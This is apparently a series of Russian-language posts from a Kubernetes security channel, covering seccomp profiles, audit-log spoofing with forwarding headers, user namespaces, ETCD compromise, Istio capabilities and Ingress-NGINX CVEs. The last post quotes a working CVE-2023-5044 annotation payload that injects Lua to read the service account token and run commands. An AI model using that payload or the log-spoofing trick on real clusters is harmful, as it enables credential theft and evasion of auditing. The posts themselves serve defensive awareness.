Делали недавно исследовательский проект для клиентов и в процессе него пришлось закопаться в реализацию Default seccomp profile (известно также как SeccompDefault и RuntimeDefault) (последние изменения о нем писали тут 1,2,3,4,5) в Kubernetes. Для этого пришлось почитать исходный код Container Runtime: containerd и cri-o. Соответствующий код можно посмотреть тут:
1) Для containerd
2) Для cri-o
3) Для docker (moby)

Все-таки насколько они по-разному к этому подходят...
Отдельное внимание заслуживает их реализация и отношение к системному (многострадальному) вызову unshare (атаки с его участием 1,2). Но в default его, конечно, там и там нет.

С началом новой недели и читайте исходный код ;)

Наличие действующей Kubernetes Audit Policy и последующий сбор и анализ логов очень важный процесс, но что если в логах будет недостоверная информация?

Автор репозитория как раз постарался выяснить что может быть подделано или недостоверно в журналах аудита Kubernetes. Оказалось, что логи можно довольно легко подделать (поля SourceIP и auditID), если в запросы добавлять некоторые заголовки.

Наверное, самые интересные из них X-Forwarded-For и X-Real-IP. Если злоумышленник знает, что в кластере собираются логи, но в тоже время хочет всё еще оставаться незамеченным, ко всем его запросам к Kube API достаточно добавить эти заголовки, чтобы мимикрировать под реальные сервисы.

Статья "Безопасность K8s: защита кластеров в Сloud Containers от VK Cloud и Luntry" это текстовая версия нашего вебинара (видео тут) совместно с командой VK Cloud. Кому ближе такой формат, то самое время с ним ознакомиться и чуть больше узнать о нашем решение Luntry в том числе ;)

Недавно в официальном блоге Kubernetes вышла заметка "User Namespaces: Now Supports Running Stateful Pods in Alpha!". Это прям обязательно к прочтению, если вы не понимаете зачем и для чего нужен user namespace в Kubernetes!

Краткое резюме:
- Новые изменения вступают в силу с 1.28
- User namespace теперь можно применять не только к Stateless,но и к Stateful микросервисам (по сути теперь Pods может быть с любым типом volume)
- Фич ветку UserNamespacesStatelessPodsSupport переименовали в UserNamespacesSupport (по прежнему в alpha и не включено по умолчанию)
- Для включения все также в спецификации нужно указывать hostUsers: false
- У разработчиков есть мысли включить эту опцию в Pod Security Standards (PSS) и Pod Security Admission (при этом нивелировать часть других параметров, если включен этот)

Для работы этого потребуется:
- Ядро Linux 6.3 и старше
- Если у вас CRI-O c crun, версия первого должна быть старше 1.28.1, а версия второго от 1.9
- Если у вас CRI-O c runс, то поддержки еще нет
- Если у вас containerd, то нужно ждать выхода версии 2.0

В заметке также можно посмотреть demo, в котором показано как эта фича может остановить эксплуатацию CVE-2022-0492.

P.S. Последнее время мы много внимания в постах и в комментариях обсуждаем тему user namespace =)

P.S.S. user namespace благо или нет мы рассмотрим в будущем ;)

В конце сентября, в Шанхае прошла конференция KubeCon China 2023. Один из интересных докладов трека Security – Post-Exploiting a Compromised ETCD - Luis Toro Puig, NCC Group.

В докладе автор рассматривает сценарий, в котором ETCD (контейнер или хост) был скомпрометирован, и рассуждает над тем как далеко может продвинуться злоумышленник. Понимание того, как Kubernetes записывает данные в ETCD, может помочь злоумышленнику подделать данные, внедрить Bad Pods, закрепиться в кластере или даже обойти логику scheduler и ограничения AdmissionController.

Видеозаписи доклада пока что к сожалению нет, а вот слайды можно найти тут.

По сути доклад является логическим продолжением статьи Abusing ETCD to Inject Resources and Bypass RBAC and Admission Controller Restrictions о которой мы писали ранее.

В качестве рекомендации хотелось бы отметить, что хост с ETCD нужно максимально защищать – никто не должен иметь возможности сходить на эту машину, кроме Kube API с сертификатами.

Наша команда Luntry совместно с ребятами из компании «Флант» проведет вебинар «Информационная безопасность Kubernetes-кластеров: иллюзии, угрозы и решения» в эту пятницу 13 в 12:00.

В процессе этого мы как просто обсудим безопасность в Kubernetes, так и как наши решения в этом вопросе могут помочь, красиво дополняя друг друга.

Зарегистрироваться на webinar можно тут.

Недавно мой товарищ поднял один достаточно интересный вопрос о решении ServiceMesh Istio, о котором мы с командой ранее даже не задумывались ввиду того что не эксплуатируем данное решения.

И так вопрос и ситуация следующая: Для работы istio-init контейнер, который добавляется во ВСЕ Pods в ServiceMesh, требует NET_ADMIN и NET_RAW capabilities, которые обычно рекомендуется забирать из-за их опасности (пример) ... При этом чаще всего когда системное приложение все же требует таких capabilities оно живет в своем отдельном namespace и его достаточно просто можно добавить в исключение в том же PolicyEngine. Но как вы понимаете в данной ситуации это будет ВЕЗДЕ - во всех namespaces с вашими прикладными микросервисами в ServiceMesh ...

Как с этим живете? Как это контролируете? Как спят ваши безопасники?)

P.S. В последствии я еще заметил, что там же runAsUser: 0, runAsGroup: 0, runAsNonRoot: false
P.S.S. Контролировать это можно, но надо постараться. Пост тут скорее чтобы обратить ваше внимание на эту ситуацию

Exploiting Excessive Container Capabilities – в статье рассматривается концепция возможностей контейнера в Docker и потенциальные риски, связанные с избыточными привилегиями. В ней показывается сценарий, в котором злоумышленник использует capabilities для побега из Docker контейнера и получения несанкционированного доступа к хосту.

В качестве примера, рассматривается кейс, когда у контейнера есть cap_sys_ptrace и host_pid (актуально и для Kubernetes). Автор использует лабу madhuakula, больше известного как создателя Kubernetes Goat, о котором мы писали раньше. Используя сгенерированный через Metasploit reverse shell, он инжектится в нужный процесс и получает root на хосте.

Выдача capabilities очень важный момент в безопасности Kubernetes. Их можно ограничивать и выдавать на уровне YAML манифеста и AppArmor профиля. Если вы делаете это в Kubernetes, то делайте на уровне YAML, как это рекомендуют разработчики Kubernetes.

"The internals and the latest trends of container runtimes (2023)" - очень крутая презентация с лекции Kyoto University! Основное содержимое:
1) Introduction to containers
2) Internals of container runtimes
3) Latest trends in container runtimes

Тут прям все от и до есть! Просто MUST HAVE для изучения!

Тоже самое, но в формате статьи тут.

Некоторое время назад довелось поучаствовать в подкасте "Смени пароль!" в выпуске на тему "Атака на экосистему". Своем мнение про формирование экосистемой безопасности и защиты самих экосистем высказались разные крутые специалисты из разных сфер и компаний, включая нашу Luntry.

Приятного прослушивания!

В конце сентября, в Шанхае прошла конференция KubeCon China 2023. Там ребята из компании Tencent представили доклад "Container Live Migration in Kubernetes Production Environment" (слайды, видео (на китайском)). Доклад на прямую не связан с безопасностью (смотря как посмотреть), но тему поднимает очень интересную и кажущуюся на первый взгляд из какого-то будущего) Но данные ребята у себя в компании в проде это уже воплотили в жизнь! Правда для этого они накостыляли свое, а не то что сейчас внедряют в Kubernetes под названием ContainerCheckpoint feature gate.

Насчет связей с информационной безопасностью постоянные читатели нашего канала явно должны вспомнить про forensic container analysis, как раз на основе этого же механизма. Об этом мы писали уже не раз [1,2,3,4,5]

Нашумевшие уязвимости CVE-2023-44487 и CVE-2023-39325, выявленные в результате самой мощной DDoS атаки на текущий день (398 миллионов запросов в секунду) и обнаруженные в go библиотеках golang.org/x/net и golang.org/x/net/http2 само собой затронули и Kubernetes. Патчи для поддерживаемых версий уже выпущены – 1.25.15, 1.26.10, 1.27.7, 1.28.3 (остальные версии обновления не получили и не получат, так как их поддержка завершена).

В патче был добавлен feature gate – UnauthenticatedHTTP2DOSMitigation (по умолчанию он выключен). Однако, есть ряд оговорок. Во-первых, патч применим только для запросов со стороны неаутетифицированных клиентов. Во-вторых, если перед Kube-API уже установлен L7 балансировщик, то разработчики не рекомендуют включать этот feature gate. Такая же рекомендация распространяется в том случае, если Kube-API запущен в частной, изолированной сети, чтобы избежать снижения производительности для неаутентифицированных клиентов.

Тем не менее проблема для аутентифицированных клиентов остаётся нерешенной. Следить за её решением можно в этой issue.

Недавно на просторах сети наткнулись на занимательную картинку, которая представляет из себя MindMap на тему Supply-Chain Security Assessment. На нее можно достаточно долго смотреть и размышлять: знал ли я о таком, учли ли мы это у себя и чего тут не хватает ... Делая, подобную инфографику, очень сложно не упустить чего-то. Поэтому предлагаем читателям канала подумать и в комментариях написать, что по вашему мнению тут и где еще не хватает ;)

CNCF Kubernetes Policy Working group выпустила новый документ, посвященный политике управления, риска и соответствия, чтобы помочь коммьюнити узнать, как лучшие практики Cloud Native могут быть использованы для устранения ключевых бизнес-рисков.

В документе описывается, как политики PolicyEngine могут быть использованы в качестве строительного блока в Kubernetes для автоматизации безопасности, соответствия и управления. Политики явно выявляют риски и повышают осведомленность команд, что позволяет снизить риски на более ранних этапах. В статье также описывается, как политики могут применяться на каждом этапе жизненного цикла Cloud Native приложения.

С полной версией документа можно ознакомиться по ссылке тут.

Хоть нашей команде OWASP Kubernetes Top 10 и не понравился (об этом мы писали тут и тут), но статья "OWASP Kubernetes Top 10: A Comprehensive Guide" по ней выглядит внушительно и с рядом хороших картинок.

Уже меньше, чем через месяц - 14-15 ноября в Москве пройдет SOC-Forum 2023. Наша команда Luntry представит там 2 доклада:
1) «SOC в контейнерах»

Рассмотрим новые вызовы для взаимодействия Security Operations Center (SOC) с высоконагруженными контейнерными окружениями под управлением Kubernetes. Ведь далеко не все SOC готовы к работе с динамическим окружением, у которого своя специфика и особенности.

2) «EDR vs Containers: актуальные проблемы» совместно с Владиславом Лашкиным (4RAYS) из ГК SOLAR

Расскажем все о runtime защите для контейнеров и поможем слушателям узнать о самых важных моментах и тонкостях темы. Ведь контролировать происходящее внутри контейнеров очень важно — и при этом очень непросто. Для примера мы возьмем представителя сигнатурного детекта Falco и покажем как можно оставить его в не удел, а также решения что базируются на нем (Sysdig Securie, StackRox) и вообще подсветим проблемы сигнатурного обнаружения в Linux средах.

The Secrets Store CSI Driver позволяет Kubernetes монтировать множество секретов, ключей и сертификатов, хранящихся во внешних хранилищах секретов корпоративного уровня, в свои Pods в виде Volume.

Что интересно – этот проект от сообщества Kubernetes SIGs. Разворачивается как DaemonSet и использует несколько CustomResources.

Из коробки доступен функционал Secret Auto Rotation (альфа фича, выключена по дефолту) и поддерживаются такие провайдеры как Vault, Azure, GCP и AWS. Также есть возможность делать Sync as Kubernetes Secret.

Когда-то мы уже упоминали данный проект, но только вскользь.

P.S. – Использует уже кто? Способен Vault подменить ?)

"Netassert v2: Network Security Testing" - инструмент динамического тестирования работы сетевых политик (NetworkPolicy) в Kubernetes.

Для этого необходимо описать какое взаимодействие, между кем вы хотите протестировать. Далее движок, используя ephemeral container, инжектит свои образы в тестируемый/е Pods и запускает сканирование с попыткой подсоединиться.

Достаточно оригинальная идей использования ephemeral container ) В Prod окружении я бы не стал такое гонять, но вот как механизм тестирования и описания тестов для разработчиков в stage окружение рассмотреть можно.

Данный инструмент определенно напоминает другой заброшенный инструмент illuminatio.

Вчера у Ingress-NGINX Controller для Kubernetes вышло три новых CVE с критичностью High:

1. CVE-2022-4886: Ingress-nginx path sanitization can be bypassed. Уязвимость связана с тем, что пользователь, имеющий право создавать или обновлять Ingress ресурсы, может использовать директивы для обхода обработки поля spec.rules[].http.paths[].path объекта Ingress для получения кредов контроллера ingress-nginx. Затрагивает все версии < 1.8.0

2. CVE-2023-5043: Ingress nginx annotation injection causes arbitrary command execution. Аннотация nginx.ingress.kubernetes.io/configuration-snippet в ресурсе Ingress может быть использована для inject arbitrary commands и получения учетных данных контроллера ingress-nginx. Затрагивает все версии < 1.9.0

3. CVE-2023-5044: Code injection via nginx.ingress.kubernetes.io/permanent-redirect annotation. Аналогичная проблема, как и в предыдущей CVE, только на этот раз в аннотации nginx.ingress.kubernetes.io/permanent-redirect.

Все необходимые патчи уже выпущены. Не забудьте обновиться!

Хороших выходных!

При построении системы безопасности в Linux и Kubernetes инфраструктурах их неотъемлемой частью является Privileged Access Management (PAM) (мы поднимали уже эту тему тут и тут). Как к этому подойти и на что важно обратить внимание при построении этого кубика безопасности поможет серия выступлений от Антона Жаболенко и Павла Пархомца:
1) "Организация привилегированного доступа к Linux-инфраструктуре"
2) "Строим свой PAM на основе Teleport"
3) "Управляем доступом в распределённой Linux-инфраструктуре"

Рекомендуется смотреть именно в такой последовательности самими авторами, а при возникновении каких-то вопросов можно уточнить их у нас в комментариях ;)

В конце прошлой недели мы рассказывали о трёх свежих CVE для Ingress-NGINX Controller. Несмотря на то что, в описании CVE-2023-5044 есть некоторые подробности от человека, написавшего репорт, до сих пор нет ни одного реального PoC в публичном доступе. Автор статьи "Exploiting CVE-2023-5044" решил эту проблему.

Сначала автор попытался использовать alias и root directives для доступа к чувствительным файлам, однако этого не получилось, потому что они были выключены. После этого, прибегнув к использованию lua noscripts и небольшой помощи ChatGPT получился рабочий PoC:

nginx.ingress.kubernetes.io/permanent-redirect: https://www.mccune.org.uk;}location ~* "^/flibble(/|$)(.*)" {content_by_lua 'ngx.say(io.popen("cat /var/run/secrets/kubernetes.io/serviceaccount/token"):read("*a"))';}location ~* "^/flibblea(/|$)(.*)" { content_by_lua 'os.execute("touch /you")'